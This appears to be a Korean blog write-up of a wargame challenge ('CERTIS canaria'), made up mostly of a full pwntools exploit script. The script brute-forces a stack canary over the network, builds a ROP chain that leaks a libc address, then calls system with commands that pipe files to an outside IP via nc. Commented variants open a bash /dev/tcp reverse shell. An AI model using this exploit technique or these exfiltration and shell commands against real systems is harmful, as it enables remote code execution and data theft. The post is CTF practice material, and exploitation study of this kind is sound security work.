[Wargame] CERTIS canaria

Posted by MrBIN on January 21, 2017

Canaria

  • stack canary 우회 하는 문제.
  • fork 함수를 통해 프로세스를 생성하는 바이너리여서 브루트포싱으로 stack canary 우회.

img1

  • canary 확인

img2 img3

from pwn import *

context.log_level = 'debug'

is_local = False

if is_local == True:
	HOST = "52.79.124.141"
	PORT = 9797
	lib = ELF('./libc.so.6')
else:
    HOST = 'wargame.kimtae.xyz'
	PORT = 10002
	lib = ELF('./canaria.so')
#bin = ELF('./canaria')

def leak_canary(HOST,PORT):     #1byte brute forcing

    for b1 in range(0x00,0xff+1):
        s = remote(HOST,PORT)
        pay = "A" * 256
        pay += chr(b1)
        s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")
        s.send(pay)
        try:
            if(s.recv(1024).find("Yes! I love bulgogi") != -1):
                print "0x%02x" % b1
                break
            s.close()
        except:
            s.close()
            continue

    for b2 in range(0x00,0xff+1):
        s = remote(HOST,PORT)
        pay = "A" * 256
        pay += chr(b1) + chr(b2)
        s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")
        s.send(pay)
        try:
            if(s.recv(1024).find("Yes! I love bulgogi") != -1):
                print "0x%02x" % b2
                break
            s.close()
        except:
            s.close()
            continue

    for b3 in range(0x00,0xff+1):
        s = remote(HOST,PORT)
        pay = "A" * 256
        pay += chr(b1) + chr(b2) + chr(b3)
        s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")
        s.send(pay)
        try:
            if(s.recv(1024).find("Yes! I love bulgogi") != -1):
                print "0x%02x" % b3
                break
            s.close()
        except:
            s.close()
            continue

    for b4 in range(0x00,0xff+1):
        s = remote(HOST,PORT)
        pay = "A" * 256
        pay += chr(b1) + chr(b2) + chr(b3) + chr(b4)
        s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")
        s.send(pay)
        try:
            if(s.recv(1024).find("Yes! I love bulgogi") != -1):
                print "0x%02x" % b4
                break
            s.close()
        except:
            s.close()
            continue
    canary = (b4*0x1000000) + (b3*0x10000) + (b2*0x100) + b1
    print "0x%08x"%canary

#leak_canary(HOST,PORT)
canary = "\x00\x96\x8b\xa4"

s = remote(HOST,PORT)

send_plt = 0x08048620
send_got = 0x0804A050
ppppr = 0x08048978
recv_plt = 0x08048600
dynamic_addr = 0x0804a000

#reverse_shell = 'bash -c \'bash>&/dev/tcp/52.79.124.141/44445 0>&1\'\x00'
#reverse_shell = 'ls | nc 52.79.124.141 44445' + '\x00' + '\n'
reverse_shell = "cat flag.txt | nc 52.79.124.141 44445" + "\x00" + "\n"


pay = "A" * 256
pay += canary
pay += "BBBB" #dummy
pay += "CCCC" #sfp

pay += p32(send_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(send_got)
pay += p32(4)
pay += p32(0)

s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")
s.sendline(pay)
data = u32(s.recv(4))
s.close()

libc_base = data - lib.symbols['send']
system = libc_base + lib.symbols['system']

print "[+] leak send got address : ", hex(data)
print "[+] libc base address : ",hex(libc_base)
print "[+] bin system address : ",hex(system)

s = remote(HOST,PORT)
s.recvuntil("recv(sockfd, buf[256], 2048, 0): ")

pay += p32(recv_plt)
pay += p32(system)

pay += p32(4)
pay += p32(dynamic_addr)
pay += p32(50)
pay += p32(0)


s.send(pay)
sleep(1)
s.sendline(reverse_shell)
s.interactive()